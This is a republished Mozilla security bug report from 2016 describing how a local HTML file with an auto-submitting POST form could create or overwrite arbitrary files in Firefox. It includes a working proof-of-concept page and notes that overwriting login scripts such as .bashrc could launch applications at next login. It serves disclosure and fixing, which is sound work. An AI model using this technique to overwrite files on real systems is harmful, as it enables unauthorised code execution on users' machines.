Skip to content
Disclosed report

A form with POST method in local HTML file can create/overwrite arbitrary local file.

Tooru Fujisawa Follow

Originally disclosed on Mozilla

  • Fixed in 2 days
  • Paid in 5 days
  • Disclosed after 2 days

A form with POST method and action with local file in local HTML file can create or overwrite arbitrary file in user's local disk.

While the content of the file is not fully controllable, overwriting login script (.bashrc etc) can launch arbitrary local application with provided arguments, on next login.

******** WARNING: this testcase is dangerous!!! *******

Steps to reproduce:

  1. create local HTML file with following content
  2. open it in Firefox

==== begin ====

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>create file</title> </head> <body onload="document.getElementById('form').submit();"> <form id="form" action="this_file_is_created_automatically.txt" method="post" enctype="text/plain"> <input type="hidden" name="foo" value="bar echo 'hello!'"> <input type="submit"> </form> </body> </html> ==== end ====

Expected result: Firefox opens File not found page.

Actual result: A local file named "this_file_is_created_automatically.txt" is created in same directory, with following content, and Firefox opens the file, and opens save dialog.

==== begin ==== Content-Type: text/plain Content-Length: 24

foo=bar echo 'hello!' ==== end ====

Regression window: https://hg.mozilla.org/integration/mozilla-inbound/pushloghtml?fromchange=3f3dbf14d937&tochange=eca3009f91f6

possibly from bug 1208124, as it touches POST method and upload.

The original report as published on Mozilla's Bugzilla, by Tooru Fujisawa. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity security bug in Networking. Mozilla made it public on 22 January 2016.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.